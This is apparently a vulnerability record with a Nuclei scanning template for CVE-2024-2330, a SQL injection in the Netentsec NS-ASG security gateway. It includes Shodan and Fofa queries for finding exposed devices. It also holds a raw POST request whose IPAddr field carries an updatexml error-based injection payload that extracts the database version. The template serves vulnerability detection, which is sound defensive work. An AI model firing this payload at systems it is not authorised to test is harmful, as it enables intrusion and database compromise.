SecurityContext

CVE-2024-2330: NS-ASG Application Security Gateway 6.3 - Sql Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 6.3
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
  • Epss score: 0.17622
  • Epss percentile: 0.97221
  • Not known: cpe

Metadata

  • Fofa-query: app="网康科技-NS-ASG安全网关"
  • Max-request: 2
  • Shodan-query: http.title:“NS-ASG”

Labels

  • Name: Netentsec NS-ASG - SQL Injection
  • Impact: Remote attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.
  • Remediation: Update to the latest version of Netentsec NS-ASG or apply security patches addressing this vulnerability.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-2330
  • Not known: requirements

```yaml

id: CVE-2024-2330

info:

name: NS-ASG Application Security Gateway 6.3 - Sql Injection

author: s4e-io

severity: medium

description: |

A vulnerability was found in Netentsec NS-ASG Application Security Gateway 6.3. It has been classified as critical. This affects an unknown part of the file /protocol/index.php. The manipulation of the argument IPAddr leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

impact: |

Authenticated attackers can extract sensitive database information via SQL injection in the NS-ASG Application Security Gateway.

remediation: |

Update NS-ASG Application Security Gateway to a version newer than 6.3.

reference:

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-2330

- https://nvd.nist.gov/vuln/detail/CVE-2024-2330

- https://github.com/jikedaodao/cve/blob/main/NS-ASG-sql-addmacbind.md

- https://vuldb.com/?ctiid.256281

- https://vuldb.com/?id.256281

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

cvss-score: 6.3

cve-id: CVE-2024-2330

cwe-id: CWE-89

epss-score: 0.17622

epss-percentile: 0.97221

metadata:

max-request: 2

shodan-query: http.title:“NS-ASG”

fofa-query: app="网康科技-NS-ASG安全网关"

tags: cve,cve2024,ns-asg,sqli,vkev,vuln

http:

- raw:

- |

POST /protocol/index.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

matchers:

- type: dsl

dsl:

- 'contains_all(body,"XPATH syntax error:","alert") && contains(header,"text/html")'

- "status_code == 200"

condition: and

extractors:

- type: regex

name: version

group: 1

regex:

- "XPATH syntax error: '([~0-9.]+)'"

digest: 4a0a0047304502206a7baf5dd037d5695105309aa36c315878200de0ac3c314d26fdd0116a0eb99b022100d5a7a18bcf8427fa0684b990d2b90ce4daa51b494cacfefe0f869aace3935f0c:922c64590222798bb761d5b6d8e72950

```